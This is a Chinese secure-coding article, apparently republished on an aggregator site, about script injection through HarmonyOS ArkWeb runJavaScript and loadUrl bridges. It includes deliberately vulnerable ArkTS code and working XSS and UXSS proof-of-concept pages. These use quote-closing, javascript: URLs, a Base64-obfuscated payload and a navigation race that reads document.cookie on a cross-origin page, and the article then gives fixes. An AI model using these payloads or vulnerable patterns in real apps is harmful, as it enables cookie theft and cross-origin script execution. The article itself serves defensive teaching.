当前位置： 首页 > news >正文

鸿蒙应用安全编码专题系列之Web组件runJavaScript安全

news 2026/5/23 19:50:49

本原创文章帖发布在华为开发者联盟社区，欢迎开发者前往访问评论交流，更多与该内容相关讨论，请点击原帖查看：

鸿蒙应用安全编码专题文章汇总 | 华为开发者联盟

一、背景介绍

鸿蒙ArkWeb组件提供runJavaScript系列、registerJavaScriptProxy两大核心通信接口，支撑应用Native原生层与前端H5页面的双向数据交互，是鸿蒙混合开发（Hybrid）的核心能力。

其中，runJavaScript系列接口支持Native层主动执行前端JavaScript代码、调用前端自定义函数；registerJavaScriptProxy接口可将Native层方法暴露至H5前端，供前端主动调用，实现完整的双向业务联动。

若业务开发过程中，未对前端传入的函数名称、调用参数、跳转URL等外部可控数据进行严格校验、过滤与转义，攻击者可构造恶意攻击载荷，触发脚本注入漏洞。该漏洞可引发信息泄露、业务越权、页面钓鱼、跨域脚本执行等高危风险，严重危害应用业务安全与用户隐私数据。

二、漏洞风险危害分析

2.1 常规XSS漏洞核心危害

当runJavaScript接口的执行脚本、函数名、入参完全由外部可控时，攻击者可注入恶意JS代码，触发跨站脚本攻击（XSS），具体危害如下：

  • 用户隐私与账号信息泄露：恶意脚本可窃取当前页面Cookie、Token、LocalStorage存储数据，以及页面展示的手机号、身份证号等敏感信息，并主动外传至攻击者服务器，造成用户核心数据泄露。

  • 业务越权操作（类CSRF风险）：依托用户已登录的会话状态，恶意脚本可在WebView内自动发起业务接口请求，非法执行修改密码、更换绑定账号、删除业务数据、伪造表单提交等高危操作。

  • 页面伪造与钓鱼攻击：篡改前端页面展示内容，伪造登录、支付、验证码弹窗等交互界面，诱导用户输入密码、短信验证码、银行卡信息等敏感数据，实施钓鱼诈骗。

  • 应用可用性破坏：通过注入死循环、高资源占用类恶意JS代码，造成WebView页面卡死、应用ANR、渲染进程崩溃，直接导致移动端应用无法正常使用。

2.2 高阶UXSS跨页面脚本注入风险

若通过registerJavaScriptProxy将参数可控的runJavaScript接口对外开放，将触发更高危的通用跨站脚本漏洞（UXSS）。

攻击者可借助JSBridge通信通道，在当前Web组件内强制执行任意JS代码，同时结合页面跳转逻辑，将恶意脚本注入跨域、跨页面的全新环境，突破浏览器同源策略限制，实现全域脚本执行、跨域数据窃取等高危攻击，风险危害性远高于常规XSS漏洞。

三、漏洞代码场景与攻击PoC验证

本次漏洞主要覆盖两大核心场景：一是runJavaScript接口脚本注入（含函数名可控、调用参数可控两类子场景）；二是loadUrl接口伪协议注入。以下结合漏洞代码与攻击PoC逐一验证分析。

3.1 runJavaScript 接口注入漏洞

3.1.1 高危漏洞代码示例

Native层通过JSBridge对外开放方法，未对前端传入的可控数据做任何安全校验，直接通过字符串拼接方式执行JS脚本，存在原生注入漏洞。

// 1. 定义对外开放的JS桥接对象 class TestObj2 { webviewcontroller: webview.WebviewController; constructor(webviewcontroller: webview.WebviewController) { this.webviewcontroller = webviewcontroller; } // 场景1：前端可控函数名，直接拼接执行JS callWithFuncName(funcName: string) { console.log("原生收到：函数名 =", funcName); this.webviewcontroller.runJavaScript(`${funcName}('hello H5')`); } // 场景2：前端可控调用参数，直接字符串拼接 callWithParams(params: string) { console.log("原生收到：参数 =", params); this.webviewcontroller.runJavaScript(`onNativeCallback("${params}")`); } } // 2. 注册JSProxy，将两个高危方法完全暴露给前端H5 this.controller.registerJavaScriptProxy(this.testObjtest2, "appBridge",["callWithFuncName", "callWithParams"]);

3.1.2 常规XSS注入攻击PoC验证

针对函数名可控、参数可控两个场景，构造前端攻击页面，实现基础XSS脚本注入执行：

<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>JSBridge XSS 测试</title> </head> <body> <button style="width:800px;height:200px;font-size:30px;" onclick="test1_callWithFuncName()">test1_callWithFuncName</button></br> <button style="width:800px;height:200px;font-size:30px;" onclick="test2_callWithParams()">test2_callWithParams</button></br> <script> function onNativeCallback(){} // 函数名注入测试 async function test1_callWithFuncName() { try { appBridge.callWithFuncName('void(alert("测试1-函数名注入成功"))'); } catch (e) {} } // 参数闭合注入测试 async function test2_callWithParams() { try { let payload = '");alert("测试2-参数注入成功");//'; appBridge.callWithParams(payload); } catch (e) {} } </script> </body> </html>

PoC原理解读

  1. 函数名可控场景：传入载荷void(alert("测试1-函数名注入成功"))，原生直接执行传入的完整JS脚本，无任何拦截，成功触发弹窗，实现任意JS代码执行。

  2. 参数可控场景：通过载荷");alert("测试2-参数注入成功");//实现引号闭合，突破原有代码逻辑，拼接后执行代码为onNativeCallback("");alert("测试2-参数注入成功");//")，注释冗余代码并执行恶意脚本。

3.1.3 UXSS跨页面注入攻击PoC验证

函数名可控场景可触发高阶UXSS攻击，突破同源策略限制，在跨域新页面中执行恶意脚本、窃取跨域敏感数据；参数可控场景因新页面无对应回调函数，会抛出语法错误，无UXSS攻击风险。

UXSS攻击PoC代码如下：

<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>JSBridge UXSS 测试</title> </head> <body> <button style="width:800px;height:200px;font-size:30px;" onclick="triggerPoc('https://github.com/', `console.log('steal cookie : ' + document.cookie)`)"> UXSS 测试 </button> <script> function triggerPoc(url, code) { const currUrl = location.href; // 构造跨页面执行载荷，仅新页面生效 const payload = ` if (!location.href.startsWith("${currUrl}") && !window.__called) { window.__called = true; ${code} } `; // 循环调用确保脚本在新页面加载完成后执行 for (let i = 0; i < 200; i++) { setTimeout(function () { if (window.appBridge && typeof window.appBridge.callWithFuncName === "function") { window.appBridge.callWithFuncName(payload); } }, i); } // 跳转跨域目标页面 location.href = url; } </script> </body> </html>

攻击效果：页面跳转至跨域目标域名后，恶意脚本正常执行，可直接窃取新页面Cookie、本地存储等核心敏感数据，完全突破前端同源安全限制。

参数可控场景无此风险，原因是新页面未定义onNativeCallback方法，会直接抛出 "Uncaught ReferenceError: onNativeCallback is not defined" 的语法错误，攻击失效。如下图所示。

3.2 loadUrl 接口伪协议注入漏洞

除runJavaScript外，Web组件loadUrl/postUrl接口若对外开放且未做协议校验，攻击者可传入javascript:伪协议链接，实现任意JS注入，同时支持UXSS跨页面攻击。

3.2.1 漏洞代码示例

class TestObj3 { webviewcontroller: webview.WebviewController; constructor(webviewcontroller: webview.WebviewController) { this.webviewcontroller = webviewcontroller; } // 无任何协议校验，直接加载前端传入URL loadUrl(url: string) { this.webviewcontroller.loadUrl(url); } } // 对外开放高危方法 this.controller.registerJavaScriptProxy(this.testObjtest3, "appBridge2", ["loadUrl"]);

3.2.2 基础XSS攻击PoC

攻击者传入javascript:console.log(111)伪协议载荷，可直接执行任意JS代码，实现基础注入攻击。

<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>JSBridge XSS 测试</title> </head> <body> <button style="width:800px;height:200px;font-size:30px;" onclick="loadUrl()">loadUrl</button> </br> <script> async function loadUrl() { try { let payload = 'javascript:console.log(111)'; appBridge2.loadUrl(payload); } catch (e) { } } </script> </body> </html>

3.2.3 UXSS跨页面攻击PoC

通过Base64编码规避字符拦截，结合页面跳转逻辑，可实现跨域页面恶意脚本执行与数据窃取。

<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>JSBridge XSS 测试</title> </head> <body> <button style="width:800px;height:200px;font-size:30px;" onclick="triggerPoc('https://xxx.com', `console.log('steal cookie : ' + document.cookie)`)"> loadUrl </button> <br> <script> function triggerPoc(url, code) { const currUrl = location.href; // 构造 Payload：确保只在特定条件下执行 const payload = `if (!location.href.startsWith("${currUrl}") && !window.__called) { window.__called = true; ${code} } `; // Base64 编码 Payload (绕过可能的过滤) const base64 = btoa(payload); // 核心攻击：竞态条件 for (let i = 0; i < 200; i++) { setTimeout(function () { // 检测是否存在 JSBridge 环境 if (window.appBridge && typeof window.appBridge.callWithFuncName === "function") { // 漏洞点：调用 loadUrl 执行 JS 协议 window.appBridge2.loadUrl( 'javascript:' + `eval(atob("${base64}"));` ); } }, i); } // 触发页面跳转 location.href = url; } </script> </body> </html>

执行结果如下图

四、安全防御方案与修复代码

针对函数名可控、参数可控、URL伪协议三类高危漏洞场景，结合鸿蒙官方安全开发规范，制定全覆盖、可落地的防御方案。

4.1 runJavaScript 场景防御策略

  • 函数名可控场景（高危）：优先采用固定白名单校验，仅允许业务预设的合法函数名；叠加正则兜底校验，拦截含特殊字符的非法函数名，彻底杜绝任意函数执行。

  • 参数可控场景：统一使用JSON.stringify()对外部入参转义，自动过滤引号、脚本标签、特殊符号等危险字符，杜绝引号闭合注入风险。

4.2 修复后安全代码示例

class TestObj2 { webviewcontroller: webview.WebviewController; constructor(webviewcontroller: webview.WebviewController) { this.webviewcontroller = webviewcontroller; } // 函数名可控场景：双重安全校验 callWithFuncName(funcName: string) { // 方案1：函数名白名单校验（优先推荐） const ALLOWED_FUNCTIONS = [ "onNativeCallback", "testFunction", "userCallback", "h5Notify" ]; if (!ALLOWED_FUNCTIONS.includes(funcName)) { console.error("非法函数名，已拦截：" + funcName); return; } // 方案2：字符合法性正则兜底校验（仅允许字母、数字、下划线） const reg = /^[a-zA-Z0-9_]+$/; if (!reg.test(funcName)) { console.error("非法函数名，存在特殊字符，已拦截"); return; } this.webviewcontroller.runJavaScript(`${funcName}('hello H5')`); } // 参数可控场景：全局参数转义防御注入 callWithParams(params: string) { console.log("原生收到：参数 =", params); // 核心防御：JSON.stringify自动转义所有危险字符，杜绝引号闭合攻击 this.webviewcontroller.runJavaScript(`onNativeCallback(${JSON.stringify(params)})`); } }

4.3 loadUrl 接口防御策略

对所有传入URL进行协议白名单强制校验，仅放行HTTPS安全协议，拦截javascript:伪协议、HTTP明文协议等高危链接，从根源杜绝伪协议注入攻击。

修复后安全代码示例：

class TestObj3 { webviewcontroller: webview.WebviewController; constructor(webviewcontroller: webview.WebviewController) { this.webviewcontroller = webviewcontroller; } loadUrl(url: string) { if (!url) return; const lowerUrl = url.toLowerCase().trim(); // 强制仅允许HTTPS协议，拦截所有伪协议与明文HTTP协议 if (!lowerUrl.startsWith("https:")) { console.error("非法URL协议，已拦截高危链接：" + url); return; } this.webviewcontroller.loadUrl(url); } }

五、安全建议

基于上述分析，在使用runJavaScript和loadUrl时，有如下几点建议：

  1. 最小权限原则：非必要不通过registerJavaScriptProxy对外开放runJavaScript、loadUrl等高风险接口，从根源减少攻击面。

  2. 函数名严格校验：若必须开放可指定函数名的接口，优先使用固定白名单机制，禁止任意函数名调用；次选方案通过正则表达式校验函数名的合法性，仅允许字母、数字、下划线。

  3. 参数统一转义处理：所有外部可控的JS调用参数，必须通过JSON.stringify()标准化转义，禁止直接字符串拼接。

  4. URL协议白名单管控：所有页面加载接口（loadUrl/postUrl）必须校验协议，仅放行HTTPS协议，禁止伪协议、HTTP明文协议加载。

  5. 外部输入全程过滤：所有来自H5的外部输入数据，均需做长度限制、特殊字符过滤、格式校验，杜绝恶意载荷传入原生接口。

六、相关参考

鸿蒙开发者文档：避免在JavaScriptProxy中提供脚本执行功能

鸿蒙开发者文档：避免在JavaScriptProxy中提供页面加载功能

鸿蒙开发者文档：应用侧调用前端页面函数

鸿蒙开发者文档：前端页面调用应用侧函数

其他鸿蒙应用安全编码专题文章请参考：https://developer.huawei.com/consumer/cn/blog//topic/03207416677214221

http://www.jsqmd.com/news/872836/

相关文章：

  • Hermes Agent项目中集成Taotoken作为自定义模型提供方
  • 盲盒源码小程序V6MAX系统：盲盒定制开发与国际版盲盒源码方案 - 壹软科技
  • LeetCode114：二叉树展开为链表（三解法）
  • PyMICAPS：基于Python的气象数据可视化解决方案，提升Micaps数据处理效率300%
  • 解决vscode找不到node和npm的报错
  • 函数的递归调用
  • 2026产品运营如何提升个人能力，实现升职加薪的进阶指南
  • SleeperX：5分钟掌握macOS高效智能睡眠管理，告别电源焦虑
  • 《不管你在哪》的内容入口：距离感如何连接听众
  • DSP6678多核异常退出解决方案
  • Redis 如何实现持久化？RDB 和 AOF 的区别是什么？如何选择合适的持久化方式？
  • Android 指纹浏览器开发教程三：WebView、Chromium 和壳层方案怎么选
  • 将小天才手表中的通讯录导入到iPhone（使用icloud）
  • AI视觉大模型如何改变工业质检：2026年最新趋势解读
  • 蓝印RPA|企业微信机器人Agent配置说明
  • 【企业语音智能化跃迁路线图】：0→1搭建私有语音能力平台的5阶段演进模型，含等保2.0三级合规配置清单与国产化芯片适配矩阵
  • 雷军：特斯拉是受人尊重的企业，我们与Model Y较量是八败两胜
  • 如何快速搭建戴森球计划高效工厂：终极蓝图库使用指南
  • Super IO：基于剪贴板机制的Blender文件操作插件深度技术解析
  • 2026 收藏干货｜大模型 RAG 技术深度拆解，程序员入门必学核心知识点
  • 3分钟快速指南：如何使用Forza Painter将任何图片变成《极限竞速》专业涂装
  • Taotoken的审计日志与访问控制功能实际应用观察
  • 通过 Taotoken CLI 工具一键为团队统一配置开发环境中的模型密钥
  • 2026 河北 GEO 优化服务商测评：理性看实力，盘古开物AI智推适配才是硬道理
  • 为什么92%的团队Lindy流程半年内失败？——资深架构师复盘7个致命断点
  • AI进入产业前线：未来稀缺人才是谁？企业人机分工边界咋划定？
  • 好看的串数据传输网络最小时延
  • 黑苹果终极简化方案：OpCore Simplify 让你的OpenCore配置变得前所未有的简单！
  • openpilot自动驾驶技术深度解析：从规则驱动到AI驱动的开源革命
  • [特殊字符] ChainMem（链忆）— 让 AI Agent 拥有像人一样的联想式回忆